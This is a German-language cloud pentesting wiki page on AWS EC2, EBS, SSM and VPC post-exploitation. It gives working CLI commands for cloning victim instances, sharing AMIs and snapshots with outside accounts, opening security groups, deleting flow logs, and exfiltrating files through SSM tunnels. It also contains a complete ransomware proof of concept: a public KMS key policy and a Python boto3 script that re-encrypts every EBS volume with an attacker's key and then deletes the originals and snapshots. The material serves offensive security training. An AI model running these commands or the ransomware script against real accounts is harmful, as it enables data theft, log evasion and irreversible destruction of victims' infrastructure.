AWS - EC2, EBS, SSM & VPC Post Exploitation

Reading time: 18 minutes

EC2 & VPC

Für weitere Informationen siehe:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring dupliziert eingehenden und ausgehenden Traffic für EC2 instances innerhalb einer VPC ohne die Notwendigkeit, etwas auf den instances selbst zu installieren. Dieser duplizierte Traffic würde üblicherweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet werden.
Ein Angreifer könnte dies missbrauchen, um den gesamten Traffic abzufangen und daraus sensible Informationen zu gewinnen:

Für weitere Informationen siehe diese Seite:

AWS - Malicious VPC Mirror

Copy Running Instance

Instances enthalten normalerweise irgendeine Art von sensiblen Informationen. Es gibt verschiedene Wege, hineinzukommen (check EC2 privilege escalation tricks). Allerdings ist eine andere Möglichkeit, den Inhalt zu prüfen, ein AMI zu erstellen und daraus eine neue instance (auch in deinem eigenen account) zu starten:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots sind Backups von volumes, die normalerweise sensible Informationen enthalten; daher sollte deren Überprüfung diese Informationen offenlegen.
Wenn du ein volume ohne snapshot findest, könntest du: einen snapshot erstellen und die folgenden Aktionen durchführen oder es einfach in einer instance innerhalb des account mounten:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

Exportiere ein EC2 AMI direkt nach S3 mit CreateStoreImageTask, um ein rohes Festplattenimage ohne Snapshot-Sharing zu erhalten. Dadurch sind vollständige Offline-Forensik oder Datendiebstahl möglich, ohne das Netzwerk der instance zu verändern.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

Hänge ein io1/io2 Multi-Attach volume an eine zweite instance und mounte es read-only, um Live-Daten ohne Snapshots abzuziehen. Nützlich, wenn das Opfer-volume bereits Multi-Attach in derselben AZ aktiviert hat.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

Erstelle einen EC2 Instance Connect Endpoint, erlaube Ingress und injiziere ephemere SSH-Keys, um über einen managed Tunnel auf private instances zuzugreifen. Bietet schnelle laterale Bewegungsmöglichkeiten, ohne öffentliche Ports zu öffnen.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

Verschiebe die sekundäre private IP einer Opfer-ENI zu einer vom Angreifer kontrollierten ENI, um vertrauenswürdige Hosts zu impersonifizieren, die per IP allowgelistet sind. Ermöglicht das Umgehen interner ACLs oder SG-Regeln, die an bestimmte Adressen gebunden sind.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

Weise eine Elastic IP vom Opfer-instance dem Angreifer zu, um eingehenden Traffic zu intercepten oder ausgehende Verbindungen zu originieren, die so aussehen, als kämen sie von vertrauenswürdigen öffentlichen IPs.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

Wenn eine Security Group-Regel eine customer-managed prefix list referenziert, erweitert das Hinzufügen von Angreifer-CIDRs zur Liste stillschweigend den Zugriff über jede abhängige SG-Regel, ohne die SG selbst zu ändern.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

Erstelle gateway- oder interface-VPC endpoints, um den ausgehenden Zugriff aus isolierten Subnetzen wiederherzustellen. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für Datenexfiltration.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

VPC Flow Logs Cross-Account Exfiltration

Leite VPC Flow Logs an ein vom Angreifer kontrolliertes S3-Bucket, um fortlaufend Netzwerk-Metadaten (Source/Destination, Ports) außerhalb des Opfer-accounts für langfristige Aufklärung zu sammeln.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

Selbst wenn du eine EC2 so einschränkst, dass kein Traffic herauskommt, kann sie dennoch über DNS exfiltrieren.

• VPC Flow Logs werden dies nicht aufzeichnen.
• Du hast keinen Zugriff auf AWS DNS-Logs.
• Deaktiviere dies, indem du "enableDnsSupport" auf false setzt mit:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer kann die exfiltrierten Daten in den Cloudtrail-Logs sehen.

Open Security Group

Du könntest weiteren Zugriff auf Netzwerkdienste erhalten, indem du Ports wie folgt öffnest:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

Es ist möglich, eine EC2-Instanz zu starten und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, und anschließend die Daten der ECS-Instanzen zu stehlen.

Für weitere Informationen siehe hier.

Remove VPC flow logs

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port-Weiterleitung

Erforderliche Berechtigungen:

• ssm:StartSession

Zusätzlich zur Ausführung von Befehlen ermöglicht SSM Traffic-Tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben. Eines der Szenarien, in denen dies nützlich ist, ist das Pivoting von einem Bastion Host zu einem privaten EKS-Cluster.

Um eine Session zu starten, benötigen Sie das installierte SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

1. Installieren Sie das SessionManagerPlugin auf Ihrer Maschine
2. Melden Sie sich beim Bastion EC2 mit folgendem Befehl an:

aws ssm start-session --target "$INSTANCE_ID"

3. Hole die temporären AWS-Anmeldeinformationen des Bastion EC2 mit dem Skript Abusing SSRF in AWS EC2 environment
4. Übertrage die Anmeldeinformationen auf deine eigene Maschine in der $HOME/.aws/credentials Datei als Profil [bastion-ec2]
5. Melde dich bei EKS als Bastion EC2 an:

aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>

6. Aktualisiere das Feld server in der Datei $HOME/.kube/config, sodass es auf https://localhost zeigt
7. Erstelle einen SSM-Tunnel wie folgt:

sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>

8. Der Traffic des Tools kubectl wird jetzt durch den SSM-Tunnel über die Bastion EC2 weitergeleitet und Sie können von Ihrem eigenen Rechner auf den privaten EKS-Cluster zugreifen, indem Sie Folgendes ausführen:

kubectl get pods --insecure-skip-tls-verify

Beachte, dass die SSL-Verbindungen fehlschlagen, sofern du nicht das Flag --insecure-skip-tls-verify setzt (oder dessen Äquivalent in K8s-Audit-Tools). Da der Traffic durch den sicheren AWS SSM-Tunnel geleitet wird, bist du vor jeglicher Art von MitM-Angriffen geschützt.

Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS-Service oder einer eigenen Anwendung zu pivotieren.

Schnelle lokale ↔ entfernte Port-Weiterleitung (AWS-StartPortForwardingSession)

Wenn du nur einen TCP-Port von der EC2-Instance zu deinem lokalen Host weiterleiten musst, kannst du das SSM-Dokument AWS-StartPortForwardingSession verwenden (kein Parameter für einen remote Host erforderlich):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrer workstation (localPortNumber) und dem ausgewählten Port (portNumber) auf der instance ohne Öffnen von inbound Security-Group rules.

Häufige Anwendungsfälle:

• File exfiltration

1. Auf der instance einen schnellen HTTP-Server starten, der auf das Verzeichnis zeigt, das du exfiltrieren möchtest:

python3 -m http.server 8000

2. Von deiner workstation die Dateien über den SSM-Tunnel abrufen:

curl http://localhost:8000/loot.txt -o loot.txt

• Zugriff auf interne Webanwendungen (z. B. Nessus)

# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

Tipp: Komprimiere und verschlüssele Beweise, bevor du sie exfiltrierst, damit CloudTrail den Klartext nicht protokolliert:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

AMI freigeben

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Nach sensiblen Informationen in öffentlichen und privaten AMIs suchen

• https://github.com/saw-your-packet/CloudShovel: CloudShovel ist ein Tool, das dafür entwickelt wurde, in öffentlichen oder privaten Amazon Machine Images (AMIs) nach sensiblen Informationen zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, das Einhängen ihrer Volumes und das Scannen nach potenziellen secrets oder sensiblen Daten.

EBS Snapshot freigeben

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Ein Proof-of-Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der Leichtigkeit, mit der es zur Verschlüsselung verschiedener AWS-Services verwendet werden kann, in RMS (Ransomware Management Service) umbenannt werden.

Zuerst, aus einem 'attacker' AWS-Account, erstelle einen customer managed key in KMS. In diesem Beispiel lasse ich AWS die Key-Daten verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Key-Daten außerhalb der Kontrolle von AWS behalten. Ändere die key policy so, dass jeder AWS-Account Principal den Key verwenden darf. Für diese key policy hieß der Account 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Die Key-Policy-Regel muss folgendes aktiviert haben, um sie zum Verschlüsseln eines EBS-Volumes verwenden zu können:

• kms:CreateGrant
• kms:Decrypt
• kms:DescribeKey
• kms:GenerateDataKeyWithoutPlainText
• kms:ReEncrypt

Jetzt mit dem öffentlich zugänglichen Key zur Verwendung. Wir können ein 'victim' Account verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes laufen hat. Die EBS-Volumes dieses 'victim' Accounts sind das Ziel unserer Verschlüsselung; dieser Angriff erfolgt unter der Annahme einer Kompromittierung eines hochprivilegierten AWS-Accounts.

Ähnlich dem S3 ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels snapshots, verwendet den öffentlich verfügbaren Key aus dem 'attacker' Account, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die ursprünglichen EBS-Volumes von den EC2-Instanzen und löscht sie, und löscht abschließend die snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden.

Das Ergebnis sind nur noch verschlüsselte EBS-Volumes, die im Account verfügbar sind.

Außerdem ist zu beachten, dass das Script die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu detachen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.

Als Nächstes kehre zur Key-Policy im 'attacker' Account zurück und entferne die 'Outside Encryption' Policy-Regel aus der Key-Policy.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Warte einen Moment, bis die neu gesetzte Key-Policy propagiert ist. Kehre dann zum 'Opfer'-Konto zurück und versuche, eines der neu verschlüsselten EBS-Volumes anzuhängen. Du wirst feststellen, dass du das Volume anhängen kannst.

Aber wenn du versuchst, die EC2-Instance mit dem verschlüsselten EBS-Volume wirklich wieder zu starten, schlägt das einfach fehl und der Status wechselt von 'pending' zurück zu 'stopped' — dauerhaft — da das angehängte EBS-Volume nicht mit dem Key entschlüsselt werden kann, weil die Key-Policy dies nicht mehr erlaubt.

Das ist das verwendete python-Skript. Es nimmt AWS creds für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den zu verwendenden Key zur Verschlüsselung. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instances im zielgerichteten AWS-Konto angehängt sind, stoppt dann jede EC2-Instance, hängt die ursprünglichen EBS-Volumes ab, löscht sie und entfernt schließlich alle während des Prozesses verwendeten Snapshots. Dadurch bleiben im zielgerichteten 'Opfer'-Konto nur noch verschlüsselte EBS-Volumes übrig. NUR IN EINER TESTUMGEBUNG VERWENDEN, DAS SKRIPT IST DESTRUKTIV UND LÖSCHT ALLE ORIGINALEN EBS-VOLUMES. Du kannst sie mit dem verwendeten KMS-Key wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte dich darauf hinweisen, dass es sich letztlich um einen ransomware PoC handelt.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Referenzen

• Pentest Partners – How to transfer files in AWS using SSM